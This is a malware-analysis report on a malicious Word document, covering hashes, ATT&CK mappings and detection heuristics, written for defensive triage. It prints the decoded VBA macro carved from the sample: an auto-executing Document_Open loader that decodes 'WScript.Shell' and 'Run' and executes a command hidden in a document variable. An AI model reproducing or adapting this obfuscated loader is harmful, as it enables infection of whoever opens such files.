Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 666eb180a32ca278…

MALICIOUS

Office (OLE)

32.0 KB Created: 2018-09-07 01:39:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 0c888c04f79bff0d54caf16e792a3a1f SHA-1: 4135744acbe34732538d31bf922c940a1b3ebc64 SHA-256: 666eb180a32ca278a9c5d7af4637d88ffa31719f0911a2c856030b5c428300e2
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains a VBA macro with an auto-executing Document_Open subroutine. This subroutine uses CreateObject and CallByName to execute obfuscated code, likely to download and run a second-stage payload. The specific function calls and obfuscation techniques suggest a downloader or initial execution stage of a malware infection.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-6756955-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6756955-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1039 bytes
SHA-256: ae37e198c985e6ce6b0401d09f441d5364ef5ae8849a42d45c1de22cd78b8165
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function XN_(ByVal QLQ_ As String)
Dim FS_ As String
Dim V_ As Long
For V_ = 1 To Len(QLQ_) Step 2
    FS_ = FS_ & Chr(Val(Chr(Val(Chr(51) & Chr(56))) & Chr(Val(Chr(55) & Chr(50))) & Mid(QLQ_, V_, 2)) - 9)
Next
XN_ = FS_
End Function
Sub Document_Open()
Application.Run "ASGCDJL_"
End Sub
Private Sub ASGCDJL_()
CallByName CreateObject(XN_("605C6C7B72797D375C716E7575")), XN_("5B7E77"), VbMethod, XN_(ActiveDocument.Variables("DGWUJMHZ").Value), 0, True
End Sub

Private Function VGF_() As String
Dim LFHKKOIEW_(WMDTPV_)):Select Case LT_: Case Is >= 147: ER_ = "DBLHCOKQ_": Case Is >= 123: QWA_ = "YOMXLFFE_": Case Is >= 48: WN_ = "MEJWOH_": Case Else: UN_ = "IYHGP_": End Select:VGF_ = DOBEWLP_:
End Function

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